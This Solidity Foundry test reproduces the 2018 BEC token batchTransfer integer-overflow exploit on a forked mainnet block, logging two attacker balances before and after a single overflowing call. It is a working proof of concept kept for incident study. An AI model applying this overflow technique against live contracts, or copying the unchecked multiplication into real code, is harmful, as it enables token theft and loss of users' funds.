BEC_exp.sol

// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

interface BECToken {
    function balanceOf(
        address account
    ) external view returns (uint256);
    function batchTransfer(address[] calldata _receivers, uint256 _value) external returns (bool);
}

// https://etherscan.io/tx/0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f
// https://etherscan.io/address/0xc5d105e63711398af9bbff092d4b6769c82f793d#code  Line261

contract ContractTest is Test {
    address attacker1 = 0xb4D30Cac5124b46C2Df0CF3e3e1Be05f42119033;
    address attacker2 = 0x0e823fFE018727585EaF5Bc769Fa80472F76C3d7;
    BECToken bec = BECToken(0xC5d105E63711398aF9bbff092d4B6769C82F793D);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 5_483_642);
    }

    function testExploit() public {
        emit log_named_decimal_uint("Before Exploit, Attacker1 BEC Balance", bec.balanceOf(attacker1), 18);
        emit log_named_decimal_uint("Before Exploit, Attacker2 BEC Balance", bec.balanceOf(attacker2), 18);

        address[] memory receivers = new address[](2);
        receivers[0] = attacker1;
        receivers[1] = attacker2;
        bec.batchTransfer(receivers, type(uint256).max / 2 + 1);

        emit log_named_decimal_uint("After Exploit, Attacker1 BEC Balance", bec.balanceOf(attacker1), 18);
        emit log_named_decimal_uint("After Exploit, Attacker2 BEC Balance", bec.balanceOf(attacker2), 18);
    }
}